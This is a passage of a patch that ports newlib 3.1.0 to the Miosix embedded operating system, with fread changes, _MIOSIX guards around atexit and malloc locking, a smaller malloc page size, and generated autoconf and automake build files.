(ptr, fp); + /* restore fp buffering back to original state */ +@@ -215,34 +273,31 @@ + } + } + } +- else + #endif /* !PREFER_SIZE_OVER_SPEED && !__OPTIMIZE_SIZE__ */ ++ while (resid > (r = fp->_r)) + { +- while (resid > (r = fp->_r)) +- { +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); +- fp->_p += r; +- /* fp->_r = 0 ... done in __srefill */ +- p += r; +- resid -= r; +- if (__srefill_r (ptr, fp)) +- { +- /* no more input: return partial result */ ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); ++ fp->_p += r; ++ /* fp->_r = 0 ... done in __srefill */ ++ p += r; ++ resid -= r; ++ if (__srefill_r (ptr, fp)) ++ { ++ /* no more input: return partial result */ + #ifdef __SCLE +- if (fp->_flags & __SCLE) +- { +- _newlib_flockfile_exit (fp); +- return crlf_r (ptr, fp, buf, total-resid, 1) / size; +- } ++ if (fp->_flags & __SCLE) ++ { ++ _newlib_flockfile_exit (fp); ++ return crlf_r (ptr, fp, buf, total-resid, 1) / size; ++ } + #endif +- _newlib_flockfile_exit (fp); +- return (total - resid) / size; +- } +- } +- (void) memcpy ((void *) p, (void *) fp->_p, resid); +- fp->_r -= resid; +- fp->_p += resid; ++ _newlib_flockfile_exit (fp); ++ return (total - resid) / size; ++ } + } ++ (void) memcpy ((void *) p, (void *) fp->_p, resid); ++ fp->_r -= resid; ++ fp->_p += resid; + + /* Perform any CR/LF clean-up if necessary. */ + #ifdef __SCLE +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/__atexit.c newlib-3.1.0/newlib/libc/stdlib/__atexit.c +--- newlib-3.1.0-old/newlib/libc/stdlib/__atexit.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/__atexit.c 2024-07-26 22:02:58.649581998 +0200 +@@ -38,6 +38,13 @@ + #include + #include "atexit.h" + ++/* ++ * Miosix moves __register_exitproc outside of newlib to make it possible to ++ * compile the kernel both with and without atexit support, without rebuilding ++ * newlib. ++ */ ++#ifndef _MIOSIX ++ + /* Make this a weak reference to avoid pulling in malloc. */ + #ifndef MALLOC_PROVIDED + void * malloc(size_t) _ATTRIBUTE((__weak__)); +@@ -157,3 +164,5 @@ + #endif + return 0; + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/__call_atexit.c newlib-3.1.0/newlib/libc/stdlib/__call_atexit.c +--- newlib-3.1.0-old/newlib/libc/stdlib/__call_atexit.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/__call_atexit.c 2024-07-26 22:02:58.649581998 +0200 +@@ -13,6 +13,8 @@ + void free(void *) _ATTRIBUTE((__weak__)); + #endif + ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(, __atexit_recursive_mutex); + #endif +@@ -21,6 +23,8 @@ + struct _atexit *_global_atexit = _NULL; + #endif + ++#endif /* _MIOSIX */ ++ + #ifdef _WANT_REGISTER_FINI + + /* If "__libc_fini" is defined, finalizers (either +@@ -62,6 +66,12 @@ + #endif /* _WANT_REGISTER_FINI */ + + /* ++ * Miosix moves __call_exitprocs out of newlib to make it possible to compile ++ * the kernel both with and without atexit support, without rebuilding newlib ++ */ ++#ifndef _MIOSIX ++ ++/* + * Call registered exit handlers. If D is null then all handlers are called, + * otherwise only the handlers from that DSO are called. + */ +@@ -159,3 +169,4 @@ + #endif + + } ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/mallocr.c newlib-3.1.0/newlib/libc/stdlib/mallocr.c +--- newlib-3.1.0-old/newlib/libc/stdlib/mallocr.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/mallocr.c 2024-07-26 22:02:58.649581998 +0200 +@@ -320,7 +320,12 @@ + #ifdef SMALL_MEMORY + #define malloc_getpagesize (128) + #else ++#ifndef _MIOSIX + #define malloc_getpagesize (4096) ++#else /* _MIOSIX */ ++/* Page size reduced for microcontrolllers whose RAM is not a multiple of 4KB */ ++#define malloc_getpagesize (1024) ++#endif /* _MIOSIX */ + #endif + #endif + +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/mlock.c newlib-3.1.0/newlib/libc/stdlib/mlock.c +--- newlib-3.1.0-old/newlib/libc/stdlib/mlock.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/mlock.c 2024-07-26 22:02:58.649581998 +0200 +@@ -32,6 +32,11 @@ + #include + #include + ++/* ++ * __malloc_lock() and __malloc_unlock() are dealt with within Miosix ++ */ ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(static, __malloc_recursive_mutex); + #endif +@@ -54,4 +59,6 @@ + #endif + } + ++#endif /* !_MIOSIX */ ++ + #endif +diff -ruN newlib-3.1.0-old/newlib/libc/sys/configure newlib-3.1.0/newlib/libc/sys/configure +--- newlib-3.1.0-old/newlib/libc/sys/configure 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/configure 2024-07-26 22:02:58.649581998 +0200 +@@ -795,6 +795,7 @@ + h8500hms + linux + m88kbug ++miosix + mmixware + netware + or1k +@@ -11841,6 +11842,8 @@ + ;; + m88kbug) subdirs="$subdirs m88kbug" + ;; ++ miosix) subdirs="$subdirs miosix" ++ ;; + mmixware) subdirs="$subdirs mmixware" + ;; + netware) subdirs="$subdirs netware" +diff -ruN newlib-3.1.0-old/newlib/libc/sys/configure.in newlib-3.1.0/newlib/libc/sys/configure.in +--- newlib-3.1.0-old/newlib/libc/sys/configure.in 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/configure.in 2024-07-26 22:02:58.649581998 +0200 +@@ -31,6 +31,7 @@ + h8500hms) AC_CONFIG_SUBDIRS(h8500hms) ;; + linux) AC_CONFIG_SUBDIRS(linux) ;; + m88kbug) AC_CONFIG_SUBDIRS(m88kbug) ;; ++ miosix) AC_CONFIG_SUBDIRS(miosix) ;; + mmixware) AC_CONFIG_SUBDIRS(mmixware) ;; + netware) AC_CONFIG_SUBDIRS(netware) ;; + or1k) AC_CONFIG_SUBDIRS(or1k) ;; +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/aclocal.m4 newlib-3.1.0/newlib/libc/sys/miosix/aclocal.m4 +--- newlib-3.1.0-old/newlib/libc/sys/miosix/aclocal.m4 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/aclocal.m4 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,1012 @@ ++# generated automatically by aclocal 1.11.6 -*- Autoconf -*- ++ ++# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, ++# 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, ++# Inc. ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# This program is distributed in the hope that it will be useful, ++# but WITHOUT ANY WARRANTY, to the extent permitted by law; without ++# even the implied warranty of MERCHANTABILITY or FITNESS FOR A ++# PARTICULAR PURPOSE. ++ ++m4_ifndef([AC_AUTOCONF_VERSION], ++ [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl ++m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.68],, ++[m4_warning([this file was generated for autoconf 2.68. ++You have another version of autoconf. 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So we grep stderr for any message ++ # that says an option was ignored or not supported. ++ # When given -MP, icc 7.0 and 7.1 complain thusly: ++ # icc: Command line warning: ignoring option '-M'; no argument required ++ # The diagnosis changed in icc 8.0: ++ # icc: Command line remark: option '-MP' not supported ++ if (grep 'ignoring option' conftest.err || ++ grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else ++ am_cv_$1_dependencies_compiler_type=$depmode ++ break ++ fi ++ fi ++ done ++ ++ cd .. ++ rm -rf conftest.dir ++else ++ am_cv_$1_dependencies_compiler_type=none ++fi ++]) ++AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) ++AM_CONDITIONAL([am__fastdep$1], [ ++ test "x$enable_dependency_tracking" != xno \ ++ && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) ++]) ++ ++ ++# AM_SET_DEPDIR ++# ------------- ++# Choose a directory name for dependency files. ++# This macro is AC_REQUIREd in _AM_DEPENDENCIES ++AC_DEFUN([AM_SET_DEPDIR], ++[AC_REQUIRE([AM_SET_LEADING_DOT])dnl ++AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl ++]) ++ ++ ++# AM_DEP_TRACK ++# ------------ ++AC_DEFUN([AM_DEP_TRACK], ++[AC_ARG_ENABLE(dependency-tracking, ++[ --disable-dependency-tracking speeds up one-time build ++ --enable-dependency-tracking do not reject slow dependency extractors]) ++if test "x$enable_dependency_tracking" != xno; then ++ am_depcomp="$ac_aux_dir/depcomp" ++ AMDEPBACKSLASH='\' ++ am__nodep='_no' ++fi ++AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) ++AC_SUBST([AMDEPBACKSLASH])dnl ++_AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl ++AC_SUBST([am__nodep])dnl ++_AM_SUBST_NOTMAKE([am__nodep])dnl ++]) ++ ++# Generate code to set up dependency tracking. -*- Autoconf -*- ++ ++# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2008 ++# Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++#serial 5 ++ ++# _AM_OUTPUT_DEPENDENCY_COMMANDS ++# ------------------------------ ++AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], ++[{ ++ # Autoconf 2.62 quotes --file arguments for eval, but not when files ++ # are listed without --file. Let's play safe and only enable the eval ++ # if we detect the quoting. ++ case $CONFIG_FILES in ++ *\'*) eval set x "$CONFIG_FILES" ;; ++ *) set x $CONFIG_FILES ;; ++ esac ++ shift ++ for mf ++ do ++ # Strip MF so we end up with the name of the file. ++ mf=`echo "$mf" | sed -e 's/:.*$//'` ++ # Check whether this is an Automake generated Makefile or not. ++ # We used to match only the files named `Makefile.in', but ++ # some people rename them; so instead we look at the file content. ++ # Grep'ing the first line is not enough: some people post-process ++ # each Makefile.in and add a new line on top of each file to say so. ++ # Grep'ing the whole file is not good either: AIX grep has a line ++ # limit of 2048, but all sed's we know have understand at least 4000. ++ if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then ++ dirpart=`AS_DIRNAME("$mf")` ++ else ++ continue ++ fi ++ # Extract the definition of DEPDIR, am__include, and am__quote ++ # from the Makefile without running `make'. ++ DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` ++ test -z "$DEPDIR" && continue ++ am__include=`sed -n 's/^am__include = //p' < "$mf"` ++ test -z "am__include" && continue ++ am__quote=`sed -n 's/^am__quote = //p' < "$mf"` ++ # When using ansi2knr, U may be empty or an underscore; expand it ++ U=`sed -n 's/^U = //p' < "$mf"` ++ # Find all dependency output files, they are included files with ++ # $(DEPDIR) in their names. We invoke sed twice because it is the ++ # simplest approach to changing $(DEPDIR) to its actual value in the ++ # expansion. ++ for file in `sed -n " ++ s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ ++ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do ++ # Make sure the directory exists. ++ test -f "$dirpart/$file" && continue ++ fdir=`AS_DIRNAME(["$file"])` ++ AS_MKDIR_P([$dirpart/$fdir]) ++ # echo "creating $dirpart/$file" ++ echo '# dummy' > "$dirpart/$file" ++ done ++ done ++} ++])# _AM_OUTPUT_DEPENDENCY_COMMANDS ++ ++ ++# AM_OUTPUT_DEPENDENCY_COMMANDS ++# ----------------------------- ++# This macro should only be invoked once -- use via AC_REQUIRE. ++# ++# This code is only required when automatic dependency tracking ++# is enabled. FIXME. This creates each `.P' file that we will ++# need in order to bootstrap the dependency handling code. ++AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], ++[AC_CONFIG_COMMANDS([depfiles], ++ [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], ++ [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"]) ++]) ++ ++# Do all the work for Automake. -*- Autoconf -*- ++ ++# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, ++# 2005, 2006, 2008, 2009 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 16 ++ ++# This macro actually does too much. Some checks are only needed if ++# your package does certain things. But this isn't really a big deal. ++ ++# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) ++# AM_INIT_AUTOMAKE([OPTIONS]) ++# ----------------------------------------------- ++# The call with PACKAGE and VERSION arguments is the old style ++# call (pre autoconf-2.50), which is being phased out. PACKAGE ++# and VERSION should now be passed to AC_INIT and removed from ++# the call to AM_INIT_AUTOMAKE. ++# We support both call styles for the transition. After ++# the next Automake release, Autoconf can make the AC_INIT ++# arguments mandatory, and then we can depend on a new Autoconf ++# release and drop the old call support. ++AC_DEFUN([AM_INIT_AUTOMAKE], ++[AC_PREREQ([2.62])dnl ++dnl Autoconf wants to disallow AM_ names. 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This macro ++dnl is hooked onto _AC_COMPILER_EXEEXT early, see below. ++AC_CONFIG_COMMANDS_PRE(dnl ++[m4_provide_if([_AM_COMPILER_EXEEXT], ++ [AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl ++]) ++ ++dnl Hook into `_AC_COMPILER_EXEEXT' early to learn its expansion. Do not ++dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further ++dnl mangled by Autoconf and run in a shell conditional statement. ++m4_define([_AC_COMPILER_EXEEXT], ++m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])]) ++ ++ ++# When config.status generates a header, we must update the stamp-h file. ++# This file resides in the same directory as the config header ++# that is generated. The stamp files are numbered to have different names. ++ ++# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the ++# loop where config.status creates the headers, so we can generate ++# our stamp files there. ++AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], ++[# Compute $1's index in $config_headers. ++_am_arg=$1 ++_am_stamp_count=1 ++for _am_header in $config_headers :; do ++ case $_am_header in ++ $_am_arg | $_am_arg:* ) ++ break ;; ++ * ) ++ _am_stamp_count=`expr $_am_stamp_count + 1` ;; ++ esac ++done ++echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) ++ ++# Copyright (C) 2001, 2003, 2005, 2008, 2011 Free Software Foundation, ++# Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 1 ++ ++# AM_PROG_INSTALL_SH ++# ------------------ ++# Define $install_sh. ++AC_DEFUN([AM_PROG_INSTALL_SH], ++[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl ++if test x"${install_sh}" != xset; then ++ case $am_aux_dir in ++ *\ * | *\ *) ++ install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; ++ *) ++ install_sh="\${SHELL} $am_aux_dir/install-sh" ++ esac ++fi ++AC_SUBST(install_sh)]) ++ ++# Copyright (C) 2003, 2005 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 2 ++ ++# Check whether the underlying file-system supports filenames ++# with a leading dot. For instance MS-DOS doesn't. ++AC_DEFUN([AM_SET_LEADING_DOT], ++[rm -rf .tst 2>/dev/null ++mkdir .tst 2>/dev/null ++if test -d .tst; then ++ am__leading_dot=. ++else ++ am__leading_dot=_ ++fi ++rmdir .tst 2>/dev/null ++AC_SUBST([am__leading_dot])]) ++ ++# Add --enable-maintainer-mode option to configure. -*- Autoconf -*- ++# From Jim Meyering ++ ++# Copyright (C) 1996, 1998, 2000, 2001, 2002, 2003, 2004, 2005, 2008, ++# 2011 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 5 ++ ++# AM_MAINTAINER_MODE([DEFAULT-MODE]) ++# ---------------------------------- ++# Control maintainer-specific portions of Makefiles. ++# Default is to disable them, unless `enable' is passed literally. ++# For symmetry, `disable' may be passed as well. Anyway, the user ++# can override the default with the --enable/--disable switch. ++AC_DEFUN([AM_MAINTAINER_MODE], ++[m4_case(m4_default([$1], [disable]), ++ [enable], [m4_define([am_maintainer_other], [disable])], ++ [disable], [m4_define([am_maintainer_other], [enable])], ++ [m4_define([am_maintainer_other], [enable]) ++ m4_warn([syntax], [unexpected argument to AM@&t@_MAINTAINER_MODE: $1])]) ++AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles]) ++ dnl maintainer-mode's default is 'disable' unless 'enable' is passed ++ AC_ARG_ENABLE([maintainer-mode], ++[ --][am_maintainer_other][-maintainer-mode am_maintainer_other make rules and dependencies not useful ++ (and sometimes confusing) to the casual installer], ++ [USE_MAINTAINER_MODE=$enableval], ++ [USE_MAINTAINER_MODE=]m4_if(am_maintainer_other, [enable], [no], [yes])) ++ AC_MSG_RESULT([$USE_MAINTAINER_MODE]) ++ AM_CONDITIONAL([MAINTAINER_MODE], [test $USE_MAINTAINER_MODE = yes]) ++ MAINT=$MAINTAINER_MODE_TRUE ++ AC_SUBST([MAINT])dnl ++] ++) ++ ++AU_DEFUN([jm_MAINTAINER_MODE], [AM_MAINTAINER_MODE]) ++ ++# Check to see how 'make' treats includes. -*- Autoconf -*- ++ ++# Copyright (C) 2001, 2002, 2003, 2005, 2009 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 4 ++ ++# AM_MAKE_INCLUDE() ++# ----------------- ++# Check to see how make treats includes. ++AC_DEFUN([AM_MAKE_INCLUDE], ++[am_make=${MAKE-make} ++cat > confinc << 'END' ++am__doit: ++ @echo this is the am__doit target ++.PHONY: am__doit ++END ++# If we don't find an include directive, just comment out the code. ++AC_MSG_CHECKING([for style of include used by $am_make]) ++am__include="#" ++am__quote= ++_am_result=none ++# First try GNU make style include. ++echo "include confinc" > confmf ++# Ignore all kinds of additional output from `make'. ++case `$am_make -s -f confmf 2> /dev/null` in #( ++*the\ am__doit\ target*) ++ am__include=include ++ am__quote= ++ _am_result=GNU ++ ;; ++esac ++# Now try BSD make style include. ++if test "$am__include" = "#"; then ++ echo '.include "confinc"' > confmf ++ case `$am_make -s -f confmf 2> /dev/null` in #( ++ *the\ am__doit\ target*) ++ am__include=.include ++ am__quote="\"" ++ _am_result=BSD ++ ;; ++ esac ++fi ++AC_SUBST([am__include]) ++AC_SUBST([am__quote]) ++AC_MSG_RESULT([$_am_result]) ++rm -f confinc confmf ++]) ++ ++# Fake the existence of programs that GNU maintainers use. -*- Autoconf -*- ++ ++# Copyright (C) 1997, 1999, 2000, 2001, 2003, 2004, 2005, 2008 ++# Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 6 ++ ++# AM_MISSING_PROG(NAME, PROGRAM) ++# ------------------------------ ++AC_DEFUN([AM_MISSING_PROG], ++[AC_REQUIRE([AM_MISSING_HAS_RUN]) ++$1=${$1-"${am_missing_run}$2"} ++AC_SUBST($1)]) ++ ++ ++# AM_MISSING_HAS_RUN ++# ------------------ ++# Define MISSING if not defined so far and test if it supports --run. ++# If it does, set am_missing_run to use it, otherwise, to nothing. ++AC_DEFUN([AM_MISSING_HAS_RUN], ++[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl ++AC_REQUIRE_AUX_FILE([missing])dnl ++if test x"${MISSING+set}" != xset; then ++ case $am_aux_dir in ++ *\ * | *\ *) ++ MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; ++ *) ++ MISSING="\${SHELL} $am_aux_dir/missing" ;; ++ esac ++fi ++# Use eval to expand $SHELL ++if eval "$MISSING --run true"; then ++ am_missing_run="$MISSING --run " ++else ++ am_missing_run= ++ AC_MSG_WARN([`missing' script is too old or missing]) ++fi ++]) ++ ++# Copyright (C) 2003, 2004, 2005, 2006, 2011 Free Software Foundation, ++# Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 1 ++ ++# AM_PROG_MKDIR_P ++# --------------- ++# Check for `mkdir -p'. ++AC_DEFUN([AM_PROG_MKDIR_P], ++[AC_PREREQ([2.60])dnl ++AC_REQUIRE([AC_PROG_MKDIR_P])dnl ++dnl Automake 1.8 to 1.9.6 used to define mkdir_p. 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This is especially ++# annoying in cross-compiling environments, where the build's strip ++# is unlikely to handle the host's binaries. ++# Fortunately install-sh will honor a STRIPPROG variable, so we ++# always use install-sh in `make install-strip', and initialize ++# STRIPPROG with the value of the STRIP variable (set by the user). ++AC_DEFUN([AM_PROG_INSTALL_STRIP], ++[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl ++# Installed binaries are usually stripped using `strip' when the user ++# run `make install-strip'. However `strip' might not be the right ++# tool to use in cross-compilation environments, therefore Automake ++# will honor the `STRIP' environment variable to overrule this program. ++dnl Don't test for $cross_compiling = yes, because it might be `maybe'. ++if test "$cross_compiling" != no; then ++ AC_CHECK_TOOL([STRIP], [strip], :) ++fi ++INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" ++AC_SUBST([INSTALL_STRIP_PROGRAM])]) ++ ++# Copyright (C) 2006, 2008, 2010 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 3 ++ ++# _AM_SUBST_NOTMAKE(VARIABLE) ++# --------------------------- ++# Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. ++# This macro is traced by Automake. ++AC_DEFUN([_AM_SUBST_NOTMAKE]) ++ ++# AM_SUBST_NOTMAKE(VARIABLE) ++# -------------------------- ++# Public sister of _AM_SUBST_NOTMAKE. ++AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) ++ ++# Check how to create a tarball. -*- Autoconf -*- ++ ++# Copyright (C) 2004, 2005, 2012 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 2 ++ ++# _AM_PROG_TAR(FORMAT) ++# -------------------- ++# Check how to create a tarball in format FORMAT. ++# FORMAT should be one of `v7', `ustar', or `pax'. ++# ++# Substitute a variable $(am__tar) that is a command ++# writing to stdout a FORMAT-tarball containing the directory ++# $tardir. ++# tardir=directory && $(am__tar) > result.tar ++# ++# Substitute a variable $(am__untar) that extract such ++# a tarball read from stdin. ++# $(am__untar) < result.tar ++AC_DEFUN([_AM_PROG_TAR], ++[# Always define AMTAR for backward compatibility. Yes, it's still used ++# in the wild :-( We should find a proper way to deprecate it ... ++AC_SUBST([AMTAR], ['$${TAR-tar}']) ++m4_if([$1], [v7], ++ [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'], ++ [m4_case([$1], [ustar],, [pax],, ++ [m4_fatal([Unknown tar format])]) ++AC_MSG_CHECKING([how to create a $1 tar archive]) ++# Loop over all known methods to create a tar archive until one works. ++_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' ++_am_tools=${am_cv_prog_tar_$1-$_am_tools} ++# Do not fold the above two line into one, because Tru64 sh and ++# Solaris sh will not grok spaces in the rhs of `-'. ++for _am_tool in $_am_tools ++do ++ case $_am_tool in ++ gnutar) ++ for _am_tar in tar gnutar gtar; ++ do ++ AM_RUN_LOG([$_am_tar --version]) && break ++ done ++ am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' ++ am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' ++ am__untar="$_am_tar -xf -" ++ ;; ++ plaintar) ++ # Must skip GNU tar: if it does not support --format= it doesn't create ++ # ustar tarball either. ++ (tar --version) >/dev/null 2>&1 && continue ++ am__tar='tar chf - "$$tardir"' ++ am__tar_='tar chf - "$tardir"' ++ am__untar='tar xf -' ++ ;; ++ pax) ++ am__tar='pax -L -x $1 -w "$$tardir"' ++ am__tar_='pax -L -x $1 -w "$tardir"' ++ am__untar='pax -r' ++ ;; ++ cpio) ++ am__tar='find "$$tardir" -print | cpio -o -H $1 -L' ++ am__tar_='find "$tardir" -print | cpio -o -H $1 -L' ++ am__untar='cpio -i -H $1 -d' ++ ;; ++ none) ++ am__tar=false ++ am__tar_=false ++ am__untar=false ++ ;; ++ esac ++ ++ # If the value was cached, stop now. We just wanted to have am__tar ++ # and am__untar set. ++ test -n "${am_cv_prog_tar_$1}" && break ++ ++ # tar/untar a dummy directory, and stop if the command works ++ rm -rf conftest.dir ++ mkdir conftest.dir ++ echo GrepMe > conftest.dir/file ++ AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) ++ rm -rf conftest.dir ++ if test -s conftest.tar; then ++ AM_RUN_LOG([$am__untar /dev/null 2>&1 && break ++ fi ++done ++rm -rf conftest.dir ++ ++AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) ++AC_MSG_RESULT([$am_cv_prog_tar_$1])]) ++AC_SUBST([am__tar]) ++AC_SUBST([am__untar]) ++]) # _AM_PROG_TAR ++ ++m4_include([../../../acinclude.m4]) +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/configure newlib-3.1.0/newlib/libc/sys/miosix/configure +--- newlib-3.1.0-old/newlib/libc/sys/miosix/configure 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/configure 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,4766 @@ ++#! /bin/sh ++# Guess values for system-dependent variables and create Makefiles. ++# Generated by GNU Autoconf 2.68 for newlib 3.1.0. ++# ++# ++# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, ++# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 Free Software ++# Foundation, Inc. ++# ++# ++# This configure script is free software; the Free Software Foundation ++# gives unlimited permission to copy, distribute and modify it. ++## -------------------- ## ++## M4sh Initialization. ## ++## -------------------- ## ++ ++# Be more Bourne compatible ++DUALCASE=1; export DUALCASE # for MKS sh ++if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '${1+"$@"}'='"$@"' ++ setopt NO_GLOB_SUBST ++else ++ case `(set -o) 2>/dev/null` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++ ++ ++as_nl=' ++' ++export as_nl ++# Printing a long string crashes Solaris 7 /usr/bin/printf. ++as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo ++# Prefer a ksh shell builtin over an external printf program on Solaris, ++# but without wasting forks for bash or zsh. ++if test -z "$BASH_VERSION$ZSH_VERSION" \ ++ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='print -r --' ++ as_echo_n='print -rn --' ++elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='printf %s\n' ++ as_echo_n='printf %s' ++else ++ if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then ++ as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' ++ as_echo_n='/usr/ucb/echo -n' ++ else ++ as_echo_body='eval expr "X$1" : "X\\(.*\\)"' ++ as_echo_n_body='eval ++ arg=$1; ++ case $arg in #( ++ *"$as_nl"*) ++ expr "X$arg" : "X\\(.*\\)$as_nl"; ++ arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; ++ esac; ++ expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ++ ' ++ export as_echo_n_body ++ as_echo_n='sh -c $as_echo_n_body as_echo' ++ fi ++ export as_echo_body ++ as_echo='sh -c $as_echo_body as_echo' ++fi ++ ++# The user is always right. ++if test "${PATH_SEPARATOR+set}" != set; then ++ PATH_SEPARATOR=: ++ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { ++ (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || ++ 